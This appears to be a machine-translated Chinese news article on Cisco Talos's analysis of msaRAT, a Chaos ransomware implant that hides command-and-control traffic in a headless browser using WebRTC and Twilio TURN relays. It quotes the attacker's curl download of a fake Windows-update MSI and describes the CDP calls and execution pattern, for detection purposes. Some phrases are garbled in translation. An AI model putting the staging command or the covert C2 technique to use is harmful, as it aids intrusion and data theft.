
Chaos勒索软件组织通过受害者的浏览器运行其命令与控制程序。思科Talos周四详细介绍了msaRAT,这是Chaos勒索软件背后的Rust植入程序,在加密程序之前就已在受感染的Windows机器上被发现。
该植入程序本身从不建立任何出站连接。它的进程只与127.0.0.1外部系统通信。它以无头模式启动 Chrome 或 Edge 浏览器,并通过 Chrome 开发者工具协议(浏览器自身的调试 API)来驱动浏览器。
所有C2消息都通过Twilio的TURN服务中继的WebRTC数据通道从该服务器发出,因此防御者在网络上看到的是浏览器调用Cloudflare和Twilio的请求。攻击者自身的服务器地址根本不会出现。
Chrome 会说话
msaRAT 首先通过环境变量查找 Chrome 或 Edge,如果找不到匹配的浏览器,则回退到注册表查找 Chrome。如果找不到匹配的浏览器,则跳过 CDP 路径。
当找到一个时,它会启动浏览器,但不显示可见窗口--headless=new,启用 CDP --remote-debugging-port,并将其指向一个单独的--user-data-dir。
自Chrome 136 版本起,谷歌不再支持默认配置文件的调试开关。这项变更于 2025 年 3 月宣布,此前信息窃取者利用该开关窃取 cookie。msaRAT拥有自己的配置文件目录,因此这项变更对其没有影响。Talos 的分析显示,msaRAT 根本没有触及受害者的配置文件。
该恶意软件请求/json/list/一个可调试的目标,并连接到返回的 WebSocket URL。它创建一个标签页,关闭内容安全策略 (CSP) Page.setBypassCSP,通过注册五个回调函数Runtime.addBinding,并调用Runtime.evaluate注入函数将以明文形式存储在二进制文件段中的 JavaScript 代码注入到目标文件中.rdata。
Talos 恶意软件的名称由四个回调名称组成,分别是msaOpen、msaClose、msaError和msaMessage。第五个是dataAck。
该 JavaScript 代码从 Cloudflare Worker 获取 STUN 和 TURN 配置is-01-ast[.]ols-img-12[.]workers[.]dev,并将 Origin 和 Referer 标头伪装成来自微软网站的流量。它建立对等连接,并将 SDP offer 发送到同一端点。
返回的结果没有 ICE 候选地址,连接地址设置为0.0.0.0,因此无法形成直接的对等链路,整个通道通过 Twilio 的中继服务器 运行global.turn.twilio.com。一旦数据通道建立,Worker 就会退出路径。
该通道上的流量经过两次加密。浏览器处理 DTLS,其内部采用基于 ChaCha-Poly1305 的加密方案,并使用 ECDH 密钥交换,该交换0xFE从连接建立后 C2 服务器立即发送的握手帧开始。
该植入程序会将接收到的命令帧传递给 Taloscmd.exe /e:ON /v:OFF /d /c <cmd>执行。Talos 读取发送队列和流控制,其设计目的很可能是为了可靠地传输屏幕截图或文件等大型有效载荷。
这两种传输方式都不是新的。Praetorian在 2025 年 8 月证明,会议平台的 TURN 基础设施可以承载完整的 C2 通道;而Sansec 在 2026 年 3 月发现了一种利用WebRTC 数据通道传输被盗信用卡数据的窃取器,该窃取器可以绕过 HTTP 检查。
msaRAT 将两者置于一个与 Chaos 关联的 Rust 植入程序中,该程序通过 CDP 驱动无头浏览器。
入口和以前一样。
msaRAT 在攻击者获得执行权限后、加密器运行前到达目标。Talos 没有说明这台机器是如何被攻破的。该组织已知的攻击策略包括垃圾邮件轰炸、语音钓鱼、快速协助攻击以及使用远程监控管理 (RMM) 工具进行持久化攻击。
植入程序本身只需一条 curl 命令即可完成部署:
curl.exe https://172.86.126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msi
端口 443,纯 HTTP 协议。防火墙规则仅针对端口号编写,不进行协议检查,因此允许其通过。MSI 文件包含模拟 Windows 更新的属性数据,并在安装结束时触发自定义操作,将嵌入式 DLL 直接加载到内存中。
该 DLL 是 msaRAT:用 Rust 在 Tokio 异步运行时编写,导出一个RUN由安装程序调用的函数。
狩猎笔记
msaRAT 是一种入侵后恶意软件,它不依赖于 Chrome 或 Edge 的漏洞,因此防御者无需针对该技术本身应用浏览器补丁。
持久存在的信号是进程行为。正如 Talos 所说,“所有外部通信都被观察为源自合法的浏览器进程。” 查找由安装程序、服务或其他非交互式父进程启动的 Chrome 或 Edge 浏览--headless=new器--remote-debugging-port。
然后将该过程与回环到调试端口和出站 WebRTC 的流量关联起来。遥测数据捕获 CDP 消息,Runtime.addBinding并Runtime.evaluate作为关键节点。运行浏览器自动化或持续集成 (CI) 的集群将有自己的无头作业进行调优。
截至 2026 年 7 月 23 日,Talos 尚未发布 msaRAT 的任何文件哈希值。公开的指标集包含两个网络痕迹:暂存 IP 地址和工作进程主机名,两者均位于其IOC 存储库中。Talos 的检测覆盖范围:
- ClamAV:
Win.Downloader.ChaosRaas-10060321-0 - Snort 2 :
1:66839,,1:668401:66841 - Snort 3
1:66839:,1:301587
这些指标虽然有用,但范围有限。workers.dev是Cloudflare 的共享部署域,分配给每个 Workers 帐户,攻击者去年曾利用它来暂存有效载荷和建立 C2 隧道。
Twilio 运行着合法的 STUN 和 TURN 服务,而真正的 WebRTC 应用都依赖于这些服务。如果在组织层面屏蔽其中任何一项服务,都会中断所有使用这些服务的用户的正常流量。Talos 认为这很可能是选择 Cloudflare Workers 作为信令传输方式的原因。
请将此视为观察到的攻击手法,而非有预谋的攻击活动。该报告并未指明受害者身份,也未说明有多少组织机构遭受了msaRAT攻击,更未说明该恶意软件何时开始使用,也未解释Cloudflare Worker和Twilio TURN凭证是如何获取的。
部署方式并不特别:通过 curl 下载,伪装成 Windows 更新,然后从 MSI 加载 DLL 文件。真正改变的是 C2 服务器之后的位置,而 Talos 发布的两个指示器明天就可以更换。由安装程序生成的无头浏览器更难迁移,因为它本身就是一种技术手段。
msaRAT 会检查是否存在两个浏览器,并且需要其中一个浏览器存在且允许其访问。在 Windows 系统上,这并非一个苛刻的要求。
夜雨聆风